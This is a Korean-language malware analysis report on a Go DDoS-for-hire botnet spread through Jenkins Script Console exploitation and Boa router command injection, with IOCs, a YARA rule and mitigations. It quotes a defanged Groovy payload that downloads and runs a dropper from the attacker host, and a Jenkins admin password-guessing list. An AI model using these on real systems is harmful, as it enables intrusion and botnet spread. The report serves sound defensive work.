malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai
크로스플랫폼 Go DDoS 대여형 봇넷
Kinryū Labs는 11개 바이너리, 13개 아키텍처의 드로퍼 스위트로 배포되고 여러 날에 걸친 Jenkins Script Console 익스플로잇 캠페인으로 전달된, Go로 컴파일된 DDoS 봇넷의 Windows 빌드 bot.exe를 분석했다. 스테이징 호스트를 정찰한 결과 살아 있고 인증이 걸린 DDoS 대여형 API, Go SSH 명령 채널, 그리고 함께 호스팅된 Mirai 계열 패밀리가 확인되었다. 우리는 이것이 상용 DDoS 대여 작전이라고 높은 확신으로 판단한다.
작성자 Davis Zheng·
TLP:CLEAR. 공개 승인됨. 이 표본과 그 드로퍼 스위트는 여러 센서에 걸쳐 관측된 여러 날짜의 Jenkins 익스플로잇 캠페인 동안 Kinryū Labs 허니팟 센서 네트워크가 포착했다. 포착된 바이너리는 정적으로 분석했으며 실행하지 않았다. 운영자의 스테이징 호스트는 능동적 외부 정찰(서비스 열거, 익명 FTP 목록 조회, 노출된 API에 대한 비인증 프로빙)로 특성화했으며, 어떤 인증도 우회하지 않았다. 공격자 지표는 무력화되어 있다.
핵심 요약
- 13개 아키텍처 빌드, 11개의 고유 바이너리
- 5개의 명명된 DDoS 기법, 그리고 대여형 API
- 3개의 조율된 출처 IP, 하나의 /22 안에
- 2개의 봇넷 패밀리, 한 호스트 위에
bot.exe는 다중 아키텍처 드로퍼 스위트로 배포되는, Go로 컴파일된 DDoS 봇넷의 Windows x86-64 빌드다. 동반 셸 스크립트 bins.sh는 13개 아키텍처 빌드를 가져오는데, 중복 제거 후 11개가 고유하며, 32비트·64비트 x86, 네 가지 ARM 프로파일, ARM64, Android ARM64, 빅엔디언·리틀엔디언 MIPS를 아우르고 Windows 바이너리도 함께 있다. 이 스위트는 노출된 Jenkins 서버에 대한 익스플로잇을 통해 허니팟 네트워크에 도달했다.
이 악성코드는 다섯 개의 명명된 플러드 기법(HTTP, TLS 핸드셰이크, ICMP, 다이렉트 TLS, 그리고 VOULT라고 표시된 용량형 기법), 정상 트래픽처럼 보이도록 브라우저 User-Agent 문자열과 로케일 헤더를 회전시키는 HTTP 플러드, 그리고 자기 전파를 위해 RealTek SDK 장치의 Boa 웹서버를 겨냥하는 명령 주입 페이로드를 임베드하고 있다. 185.226.93[.]242의 스테이징 호스트를 정찰한 결과, 포트 3333의 인증이 걸린 DDoS 대여형 API, 명령 채널 역할을 하는 포트 2222의 Go 구현 SSH 서비스, 그리고 Mirai/Gafgyt 계열의 두 번째 봇넷 패밀리를 스테이징하는 익명 FTP 서비스가 확인되었다.
Kinryū Labs는 bot.exe가 상용 대여 서비스로 운영되는 악성이고 자기 전파하는 다중 아키텍처 DDoS 봇넷의 일부라고 높은 확신으로 판단한다. 이 판단을 뒷받침하는 것은 세 가지다. 바이너리 자신의 공격 기법 및 익스플로잇 문자열, 작업 파라미터를 검증하고 인증을 요구하는 운영자 스테이징 호스트의 살아 있는 대여형 API, 그리고 이 스위트를 전달한 지속적이고 다중 노드적인 캠페인의 허니팟 텔레메트리다.
- bot.exe는 크로스플랫폼 Go DDoS 봇넷이다. 다섯 개의 서로 다른 플러드 기법 로그 문자열이 표적과 지속 시간 파라미터를 담고 있으며, 브라우저 위장 장치와 SOCKS5 지원도 함께, 모두 난독화되지 않은 문자열로 있고 살아 있는 API로 뒷받침된다.
- 이 작전은 상용 DDoS 대여 서비스로 운영된다. 스테이징 호스트는 포트 3333에 API를 노출하는데, 이는 작업 파라미터(
user,psw,host,method,time,port)를 검증하고 잘못된 자격 증명을 거부한다. - 이 봇넷은 IoT 명령 주입을 통해 자기 전파한다. 바이너리는 Boa
formSysCmd명령 주입 페이로드, 라우터 로그인 무차별 대입 경로, 그리고 익스포트된loginDevice·loginDeviceCaptcha함수를 담고 있으며, 허니팟 로그에 기록된 바로 그 드로퍼 한 줄짜리를 주입한다. - 세 개의 출처 IP는 단일 운영자다.
185.226.92[.]0/22안의 세 주소가 조율된 타이밍과 공유된 자격 증명 목록으로 동일한 페이로드를 전달했으며, 전달 IP와 스테이징 IP가 동일한 SSH 호스트 키를 제시하는데, 이는 하나의 호스트 또는 복제된 이미지임을 가리킨다.
전달: 지속적인 Jenkins Script Console 캠페인
이 스위트는 인터넷에 노출된 Jenkins 인스턴스에 대한 익스플로잇으로 전달되었다. 허니팟 텔레메트리는 일관된 2단계 방식을 기록했다. CSRF 토큰을 가져오는 GET /crumbIssuer/api/json에 이어, Groovy Script Console 페이로드를 담은 POST /script다. 페이로드는 모든 시도에서 동일했으며 여기서는 무력화했다.
println new ProcessBuilder('sh','-c',
'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
curl -O hxxp://185.226.93[.]242:1001/bins.sh;
chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text
요청은 admin 계정에 대한 약한 숫자 비밀번호의 짧은 사전을 돌리는 Authorization: Basic 헤더를 담고 있었으며(admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123), 이는 표적화된 인증이 아니라 자동화된 자격 증명 목록의 특징이다.
캠페인은 여러 날에 걸쳐 반복되는 물결로 진행되었다.
- 1차 물결첫 탐침. CSRF 크럼 확인에 이은 Groovy RCE로, 스테이징 IP와 같은 블록의 두 번째 주소에서.
- 포착
bins.sh와 13개 변형 전부를 두 센서에서 약 14시간 간격으로 복구했으며, 양쪽에서 바이트 단위로 동일했다. - 이후 물결세 출처 IP 전부에서 서로 몇 분 안에 병렬 익스플로잇, User-Agent 회전과 함께.
익스플로잇 요청은 현실적인 브라우저 User-Agent의 큰 집합을 회전시킨 반면, 추가 Jenkins 표적을 찾는 정찰 스윕(/login 가져오기에 이은 빠른 /script 요청 폭주)은 기본값 Go-http-client/1.1을 사용했다. 위조된 User-Agent는 익스플로잇 페이로드에 실려 오고, 스캐너는 봇넷의 네이티브 Go 클라이언트를 쓴다. 스테이징 및 C2 호스트 자체가 익스플로잇에 참여했으므로, 공격 인프라와 호스팅 인프라는 분리되어 있지 않다.
악성코드: 하나의 Go 코드베이스, 열한 개의 바이너리
봇을 Go로 작성하면 하나의 코드베이스를 운영자가 원하는 모든 표적으로 크로스컴파일할 수 있다. 드로퍼는 제품 라인 전체를 훑으며, 각 빌드를 wget으로 가져오고 폴백으로 curl로 다시 가져온 뒤, 실행 가능하게 표시하고, 실행하고, 삭제한다. 이 스위트는 Windows .exe를 포함하는데, Linux 드로퍼는 그것도 여전히 chmod +x로 통과시키며, 스크립트가 생성하는 구조는 빌드-및-목록 파이프라인을 가리킨다. 중복 제거 후 13개 빌드는 11개의 고유 바이너리로 줄어든다. x86과 i386 빌드가 일치하고, 제네릭 ARM과 ARMv7 빌드도 마찬가지다. MIPS와 레거시 ARM에서 Android까지 걸친 아키텍처 분포는 라우터, 카메라, 그 밖의 임베디드 장치를 겨냥한 봇넷임을 드러내며, Windows 빌드는 같은 코드를 데스크톱과 서버로 실어 나른다.
바이너리는 패킹되어 있지 않고(PE 섹션 엔트로피가 5.4와 6.3 사이에 든다) 스트립되어 있지 않아(Go 빌드 ID와 런타임 심볼이 온전하다), 그 기능이 평범한 문자열로 드러나 있다. 컴파일 타임스탬프는 0으로 되어 있는데, 이는 Go 빌드에서 정상이다.
바이너리의 로그 문자열에 다섯 개의 플러드 기법이 명명되어 있으며, 각각 표적과 지속 시간으로 형식화되어 있다. “HTTP (Optimized)” 플러드, TLS/TCP “Handshake” 고갈 플러드, ICMP “PING” 플러드, 다이렉트 “TLS+” 세션 플러드, 그리고 용량형이며 UDP 기반으로 보이는 “VOULT” 기법이다. 애플리케이션 계층과 네트워크 계층 옵션이 모두 존재한다.
HTTP 플러드는 정상 트래픽으로 통과하도록 만들어졌다. Windows, macOS, iPad, Android 상의 Chrome, Edge, Opera, Firefox, Safari를 아우르는 열 개가 넘는 브라우저 User-Agent 문자열, 열다섯 개의 Accept-Language 로케일, 그리고 완화 서비스가 검사하는 sec-fetch-*·sec-ch-ua-* 지문 헤더를 회전시킨다. 평판 높은 소수 사이트(google.com, reddit.com, facebook.com, bing.com, twitter.com, fbi.gov)에서 Referer를 설정한다. User-Agent 집합의 한 항목은 문자 그대로의 문자열 Hello World인데, 이는 개발자 자리표시자로, 어떤 정상 클라이언트도 그것을 보내지 않으므로 깔끔한 탐지 시그니처가 된다.
전파는 Boa 웹서버를 겨냥하는데, 이는 많은 RealTek SDK 라우터와 카메라에 여전히 실려 나오는 작은 임베디드 HTTP 데몬이다. 바이너리는 Boa의 formSysCmd 핸들러에 대한 명령 주입 페이로드와 라우터 관리자 인터페이스에 대한 로그인 무차별 대입 경로를 담고 있으며, JSON 자격 증명 필드와 익스포트된 함수 loginDevice·loginDeviceCaptcha를 갖추고 있다. 주입되는 명령은 그 드로퍼 한 줄짜리이므로, 침해된 장치가 다음 장치의 전달 지점이 된다.
벤더링된 Go 모듈은 모두 표준 golang.org/x 패키지이며, 링크된 서드파티 C2 프레임워크는 없다. chacha20poly1305, http2/hpack, dns/dnsmessage, http/httpproxy를 포함하며, 이는 관측 가능한 기능(인증-암호화 채널, HTTP/2, 원시 DNS, SOCKS5 프록시)과 부합한다(문자열 socks5, socks connect, socksUsernamePassword가 존재한다). C2 설정은 런타임에 hxxp://<C2>/config.dat에서 가져오며, 바이너리에 하드코딩된 유일한 주소는 스테이징 호스트다.
명령제어 및 스테이징 인프라
스테이징 호스트를 정찰한 결과 다음 서비스가 확인되었다.
| 포트 | 서비스 | 용도 |
|---|---|---|
| 21/tcp | vsftpd 3.0.3, 익명 로그인 활성화 | 악성코드 스테이징(아래의 두 번째 패밀리) |
| 22/tcp | OpenSSH 9.2p1 (Debian) | 운영자 접근 |
| 1001/tcp | Go net/http 서버 | 1차 스테이징: bins.sh와 변형들을 제공 |
| 2222/tcp | Go SSH (SSH-2.0-Go) | 봇 명령 채널 |
| 3333/tcp | Go net/http 서버 | DDoS 대여형 API |
두 가지 발견이 대여형 판단을 뒷받침한다. 전달 IP와 스테이징 호스트가 동일한 ED25519, RSA, ECDSA SSH 호스트 키를 제시하는데, 이는 둘을 같은 기계 위에, 또는 하나의 템플릿에서 복제된 이미지 위에 놓으며, 포트 2222의 Go SSH 서비스는 포트 22의 시스템 OpenSSH와 별개의 키를 제시하는데, 이는 그것이 포워드가 아니라 별개의 애플리케이션임을 나타낸다. 포트 3333의 API는 파라미터(user, psw, host, method, time/duration, port)가 빠진 요청을 거부하고 테스트 자격 증명에 대해 인증 실패를 반환하며, 그 밖의 모든 경로는 404를 반환한다. 이것은 상용 부터(booter)의 최소한이고, 요청마다 인증하는 인터페이스로, 살아 있는 인프라 위에서 돌아가고 있다.
같은 호스트 위의 두 번째 패밀리
익명 FTP 서비스는 별개의 봇넷 패밀리를 스테이징하는데, 그 파일명을 따 여기서 “boatnet”이라 부른다. 그 드로퍼(ohshit1.sh)는 BusyBox ftpget 클라이언트를 쓰고, 실행 전에 각 바이너리를 WTF로 이름을 바꾸며, Mirai/Gafgyt 계열의 이색적인 임베디드 표적(ARC, m68k, SH4, SPARC)을 포함한 열다섯 개 아키텍처에 걸쳐 빌드를 백그라운드로 띄운다. 바이너리는 C로 컴파일된 ELF이며, 스트립되고 패킹되어 있어(엔트로피 7.6에서 7.9, UPX 매직 없음, 커스텀 패커를 시사) 정적 검토로 살아남는 것이 거의 없다. boatnet 아티팩트는 bot.exe 스위트보다 앞서며 무관한 코드베이스를 돌리므로, 한 호스트가 두 개의 별개 봇넷 패밀리를 스테이징하고 있는 셈이다.
호스팅
두 공격자 IP 모두 185.226.92[.]0/22 안에 들며, RIPE NCC를 통해 터키 기반 VPS 제공자(네트워크명 BIGCORE-US, AS205196 / AS57152)에 등록되어 있고 남용 신고 연락처는 [email protected]다. 우리는 신고 목적으로 호스팅 제공자를 식별하며, 운영자의 신원에 대해서는 어떠한 주장도 하지 않는다.
침해 지표
공격자 인프라는 무력화되어 있다. 표본 해시와 탐지 문자열은 의도적으로 실제 값을 담고 있다.
네트워크
| 지표 | 맥락 |
|---|---|
185.226.93[.]242 | 스테이징 + C2 호스트. 능동 스캐너이기도 함 |
185.226.92[.]110 | 1차 스캐너 / 전달 노드 |
185.226.92[.]173 | 2차 스캐너 |
185.226.92[.]0/22 | 호스팅 할당(BIGCORE, AS205196). 합리적인 경계 차단 대상 |
185.226.93[.]242:1001 | HTTP 스테이징(bins.sh + 변형들) |
185.226.93[.]242:2222 | Go SSH 명령 채널 |
185.226.93[.]242:3333 | DDoS 대여형 API(/api, 파라미터로 게이트됨) |
185.226.93[.]242:21 | 익명 FTP, boatnet 스테이징 |
hxxp://<C2>/config.dat | 런타임 C2 설정 가져오기 패턴 |
/boafrm/formSysCmd, /boafrm/formLogin | 아웃바운드 전파의 Boa RCE 및 로그인 무차별 대입 URI |
SSH 호스트 키(ED25519) …INAjVN5fIlxTHxT4R3yqTS8… | 전달 IP와 C2 IP에 걸쳐 공유됨. 피벗 지표 |
파일
| 파일 | SHA-256 |
|---|---|
bot.exe (Windows x64) | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 |
bins.sh (드로퍼) | 15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6 |
boatnet.0eem0a9ali (i386) | 6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b |
boatnet.0t25ax67hl (x86-64) | 920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d |
- bot.exe MD5 / SHA-1 / imphash:
88efcb919000efb700a814fc23e31e3f/6817eae057adf831892995f514fca36c489fdd10/211e227000a1da3333aab2bad5282318 - Go Build ID:
euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
드로퍼 스위트 전체 해시(13개 빌드 중 11개 고유)
| 빌드 | SHA-256 | 크기(바이트) |
|---|---|---|
amd64 | 3261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b70 | 5,919,119 |
x86 / i386 | 575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc398 | 5,787,832 |
arm / armv7l | 9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb10 | 5,898,424 |
arm5 | 365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582 | 5,898,424 |
arm6 | 34186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f | 5,898,424 |
arm64 | ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b | 5,579,151 |
android_arm64 | 7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf | 6,169,144 |
mips | 9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f5 | 6,619,351 |
mipsle | 14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde7 | 6,619,351 |
bot.exe | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 | 6,020,608 |
호스트 및 자격 증명 아티팩트
- Jenkins
admin무차별 대입 사전:1123,123451,1231231,1111111,12345123. ohshit1.sh(boatnet 드로퍼)와 실행 전에WTF로 이름이 바뀐 바이너리.- 특징적인 User-Agent:
Hello World(봇 HTTP 플러드)와Go-http-client/1.1(봇 자체 스캔).
행위 기반
bins.sh를 가져오는 GroovyProcessBuilder('sh','-c', …)페이로드를 담은POST /script에 이은 JenkinsGET /crumbIssuer/api/json.Connecting to CNC...로그 줄이 선행하는,/config.dat아래 호스트로의 아웃바운드 요청.sysCmdselect=5와wget … bins.sh본문을 담은 인바운드POST /boafrm/formSysCmd.
탐지
문자열은 안정적이고 난독화되지 않아 시그니처가 간단하다. 아래 YARA 규칙은 검증된 문자열로 구축한 후보이며, 배포 전에 검증하라.
rule go_ddos_bot_multiarch_candidate
{
meta:
description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
author = "Kinryu Labs honeypot CTI"
reference = "4de4621f...e3804" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$cnc = "Connecting to CNC..." ascii
$cfg = "/config.dat" ascii
$atk1 = "HTTP (Optimized) Attack started" ascii
$atk2 = "VOULT attack" ascii
$atk3 = "Handshake Attack started" ascii
$boa = "/boafrm/formSysCmd" ascii
$iot = "loginDeviceCaptcha" ascii
$drop = "bins.sh" ascii
condition:
($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}
네트워크 탐지:
- Jenkins: 원시 IP로의
wget/curl을 동반한ProcessBuilder를 담은POST /script본문, 특히GET /crumbIssuer/api/json이 선행하는 것에 경보한다. - IoT 전파:
content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";. - 인프라: 전달 및 C2 주소를 포괄하는
185.226.92[.]0/22를 차단하고, 그 범위 안의 포트 1001, 2222, 3333으로의 아웃바운드 연결에 경보한다.
대응
- Jenkins를 인터넷에 노출하지 말라. 인증과 네트워크 격리 뒤에 두고, 비관리자에 대해 Script Console을 비활성화하며, 도달 가능한 빌드 서버를 호스트 전체 침해 위험으로 여기라. 이것이 전달 벡터였다.
- 강력한 Jenkins 자격 증명을 강제하고 인증에 속도 제한을 두라. 이 캠페인은
admin에 대한 약한 숫자 비밀번호의 짧은 사전에 의존했다. - RealTek/Boa 기반 라우터와 IoT 장치를 분리하거나 교체하고, 그 관리자 인터페이스에 대한 외부 접근을 차단하라. 이것들이 봇넷의 전파 표적이다.
- 호스팅 할당(
185.226.92[.]0/22)을 경계에서 차단하고 Boa RCE URI와config.dat가져오기 패턴에 경보하라. - 이그레스를 필터링하라. 아키텍처 이름이 붙은 파일을 끌어오려 포트 1001의 원시 IP에 도달하거나, 그 범위 안의 포트 2222 또는 3333에 연결하는 호스트는 비정상이며, 호스트 탐지가 없는 곳에서도 잡아낼 수 있다.
- 인프라를 신고하라. DDoS 대여형 API와 FTP로 스테이징된 악성코드는 호스팅 제공자의 남용 신고 연락처(
[email protected])로 신고할 수 있다.
MITRE ATT&CK 매핑
| 전술 | 기법 |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Jenkins Script Console; 전파를 위한 Boa formSysCmd) |
| Credential Access | T1110.001 Brute Force: Password Guessing (Jenkins admin); T1110.004 Credential Stuffing (IoT 로그인) |
| Execution | T1059 Command and Scripting Interpreter (Script Console를 통한 Groovy; Unix 셸 드로퍼) |
| Discovery | T1046 Network Service Scanning (Jenkins/IoT 자체 스캔); T1082 System Information Discovery; T1057 Process Discovery |
| Defense Evasion | T1036 Masquerading (브라우저 User-Agent 회전; boatnet WTF 개명) |
| Command and Control | T1071.001 Web Protocols (config.dat); T1573 Encrypted Channel (ChaCha20-Poly1305; 2222의 Go SSH); T1571 Non-Standard Port (1001/2222/3333); T1090.001 Internal Proxy: SOCKS |
| Lateral Movement / Delivery | T1105 Ingress Tool Transfer (다중 아키텍처 스테이징) |
| Impact | T1498.001 Direct Network Flood (PING, VOULT); T1498.002 Reflection Amplification (핸드셰이크 고갈) |
방법론과 노트
- 범위: 포착된 바이너리에 대한 정적 분석(실행하지 않음)과 스테이징 호스트에 대한 능동적 외부 정찰(서비스 및 배너 열거, 익명 FTP 목록 조회, 포트 3333 API에 대한 비인증 프로빙). 어떤 인증도 우회하지 않았다.
- YARA 규칙은 검증된 문자열로 구축한 후보이며, 배포 전에 검증하라. boatnet 바이너리는 패킹되어 있어 얻어낸 문자열이 적었다.
- 표본(bot.exe 스위트, 드로퍼, boatnet 아티팩트)은 다른 연구자와 방어자에게 요청 시 제공한다. 당신이 누구이고 무엇에 필요한지 짧게 적어 [email protected]로 메일을 보내라.